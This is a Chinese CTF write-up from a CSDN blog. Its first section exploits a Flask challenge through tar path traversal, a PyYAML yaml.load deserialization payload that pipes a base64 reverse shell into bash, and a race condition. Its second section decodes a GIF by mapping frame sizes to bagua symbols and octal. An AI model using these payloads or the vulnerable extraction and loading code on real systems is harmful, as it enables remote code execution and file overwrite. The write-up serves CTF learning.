本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!
给了源码,大概就是login登陆,upload上传,上传同时有解压
extractFile函数
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir) #extractall解压
return tf.getnames()
if type == 'zip':
zf = zipfile.ZipFile(filepath, 'r')
zf.extractall(extractdir)
return zf.namelist()
tarfile库的extractall或extract方法存在目录穿越漏洞,可以进行文件覆盖
再看login路由
@app.route('/login', methods=['GET', 'POST'])
def login():
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
if username and username == "Admin":
with open('config/userConfig.yaml', 'rb') as f:
userConfig = yaml.load(f.read()) #PyYAML有个反序列化漏洞,这里是利用点
if userConfig['host'] == request.remote_addr:
session['user'] = userConfig['user']
return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
else:
return ""
elif username:
session['user'] = username
return redirect('/')
如果登陆的用户名为Admin,则读取config/userConfig.yaml文件,yaml.load转换为python数据类型
yaml.load详情可以看看官方wiki PyYAML yaml.load(input) Deprecation ·yaml/pyyaml Wiki (github.com),本题的环境为PyYAML==5.3
在PyYAML 5.1 +之前,该函数可以很容易地被利用来调用任何Python函数。这意味着它可以使用 调用任何系统命令。
yaml.load反序列化漏洞原理见浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)
题目中是未写loader参数的,我用的这个师傅的poc PyYAML反序列化防御和ByPass - FreeBuf网络安全行业门户
import yaml
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "print('漏洞存在')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
回显:
->漏洞存在
但是要注意,login路由中会重写userConfig.yaml,可以用条件竞争绕过
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))
最终思路就是,tar包解压覆盖userConfig.yaml,yaml.load反序列化rce
tar cPvf caiao.tar ../../../config/userConfig.yaml
userConfig.yaml
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').popen('echo [反弹shell] | base64 -d | bash').read()"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
2.条件竞争
成功的话返回值500
反弹shell得到flag
赛后看师傅wp复现的,我真的很不会处理二进制数据……这次也没想出来
给了个gif,python将其分割为png Python 实现分离GIF图片,-pillow_好逸爱劳的博客-CSDN博客
#gif按帧数分割
from PIL import Image
import os
gilFileName = 'gif.gif' # 将准备好的gif 打开
im = Image.open(gilFileName)
pngDir = gilFileName[:-4] # 获取 .gif 前面的字符,也就是名字
if not os.path.exists(pngDir):
'''如果没有重名的文件夹,就生成这个文件夹来存放图片'''
os.mkdir(pngDir)
try:
while True:
current = im.tell() # 获取img对象的 帧图片
im.save(pngDir + '\\' + str(current) + '.png') # 保存
im.seek(current + 1) # seek的作用就相当于 装饰器的 next,代表下一个
# current 代表帧图片,+1 就是下一张
except EOFError:
pass
然后根据png的大小,转换为对应伏羲八卦的符号
#按图片大小提取内容
import os
dict = { 1715 : "☰", 2099 : "☷",2062 : "☱", 2059 : "☲", 2392 : "☳", 1773 : "☴", 1863: "☵", 1856 :"☶"}
for s in range(342):
#print(os.path.getsize('./giff/'+str(s)+'.png'))
print(dict[os.path.getsize('./gif/'+str(s)+'.png')],end='')
# ☱☳☳☰☷☰☱☳☵☱☳☳☰☶☱☰☶☱☰☵☱☱☳☳☰☶☱☱☴☱☱☳☵☱☳☳☰☶☲☰☶☳☰☵☱☱☳☳☱☳☲☱☵☵☱☷☰☱☵☰☱☳☲☰☶☳☱☶☴☱☰☵☰☶☲☱☳☲☱☴☱☱☶☲☱☵☰☱☴☶☱☴☲☱☰☲☱☴☳☱☱☵☱☰☳☰☶☱☰☶☵☱☲☴☰☶☳☱☲☵☱☶☴☱☴☲☱☲☵☱☰☳☱☳☰☱☱☶☱☲☷☱☲☲☱☱☲☱☶☴☱☰☱☱☰☴☱☰☶☱☶☲☱☳☲☱☲☳☰☶☱☱☶☷☱☴☲☱☰☷☱☰☶☱☴☵☱☰☲☱☰☷☰☶☲☱☰☶☱☵☰☱☰☲☱☲☲☱☴☷☱☵☱☱☶☱☰☶☳☱☴☷☰☶☵☱☴☲☱☰☷☰☶☵☱☵☶☱☱☴☱☲☷☰☶☰☱☷☰☱☴☳☰☶☲☱☵☳☱☱☰☱☷☱☱☵☷☱☱☶☱☶☱☱☵☱☱☲☴☱☳☰☱☴☳☱☵☵☱☵☱☱☳☵☱☳☳☰☶☲☱☴☴☱☳☵☱☳☳☰☶☳☱☴☱☰☵☱☱☳☳☰☶☴☰☶☵☱☳☵☱☳☳☰☶☵☰☶☱☰☵☱
将八卦符号转换为八进制数 Python八卦符编码 base8-bagua-py_孤冷的刺猬的博客-CSDN博客_python 八卦
符号 | 卦名 | 拼音 | 8进制数 |
---|---|---|---|
☰ | 乾 | qián | 0 |
☱ | 兑 | duì | 1 |
☲ | 离 | lí | 2 |
☳ | 震 | zhèn | 3 |
☴ | 巽 | xùn | 4 |
☵ | 坎 | kǎn | 5 |
☶ | 艮 | gèn | 6 |
☷ | 坤 | kūn | 7 |
s='☱☳☳☰☷☰☱☳☵☱☳☳☰☶☱☰☶☱☰☵☱☱☳☳☰☶☱☱☴☱☱☳☵☱☳☳☰☶☲☰☶☳☰☵☱☱☳☳☱☳☲☱☵☵☱☷☰☱☵☰☱☳☲☰☶☳☱☶☴☱☰☵☰☶☲☱☳☲☱☴☱☱☶☲☱☵☰☱☴☶☱☴☲☱☰☲☱☴☳☱☱☵☱☰☳☰☶☱☰☶☵☱☲☴☰☶☳☱☲☵☱☶☴☱☴☲☱☲☵☱☰☳☱☳☰☱☱☶☱☲☷☱☲☲☱☱☲☱☶☴☱☰☱☱☰☴☱☰☶☱☶☲☱☳☲☱☲☳☰☶☱☱☶☷☱☴☲☱☰☷☱☰☶☱☴☵☱☰☲☱☰☷☰☶☲☱☰☶☱☵☰☱☰☲☱☲☲☱☴☷☱☵☱☱☶☱☰☶☳☱☴☷☰☶☵☱☴☲☱☰☷☰☶☵☱☵☶☱☱☴☱☲☷☰☶☰☱☷☰☱☴☳☰☶☲☱☵☳☱☱☰☱☷☱☱☵☷☱☱☶☱☶☱☱☵☱☱☲☴☱☳☰☱☴☳☱☵☵☱☵☱☱☳☵☱☳☳☰☶☲☱☴☴☱☳☵☱☳☳☰☶☳☱☴☱☰☵☱☱☳☳☰☶☴☰☶☵☱☳☵☱☳☳☰☶☵☰☶☱☰☵☱'
#dic={'☷': '000', '☶': '001', '☵': '010', '☴': '011', '☳': '100', '☲': '101', '☱': '110', '☰': '111'}
#dic={'☷': '0', '☶': '1', '☵': '2', '☴': '3', '☳': '4', '☲': '5', '☱': '6', '☰': '7'}
#呜呜呜上面两个dic是六十四卦的,都不对的,和八卦是反转过来的,我也不知道为什么
dic={'☰': '0', '☱': '1', '☲': '2', '☳': '3', '☴': '4', '☵': '5', '☶': '6', '☷': '7'}
li=[]
k=0
for i in range(len(s)):
if k ==1:
k=0
continue
try:
li.append(dic[s[i]])
except:
t=''
t=t+s[i]+s[i+1]
li.append(dic[t])
k=1
ss=''.join(li)
print(ss)
#八进制 三个一组,转换为二进制正好7位,假装最前面有零,正好符合ascii可见字符的范围
str1 = re.findall(r'\w{3}', ss)
for i in str1:
print(chr(int(i,8)),end='')
#[8][11)[1a][23)[ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi][2d][3a)[45][51)
sss = 'ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi'
print(sss[0x8:0x11]+sss[0x1a:0x23]+sss[0x2d:0x3a]+sss[0x45:0x51])
2ZarhfbBcUCXNWRJtAeBG2FhBRgiq3gkHyoNqiTXcmi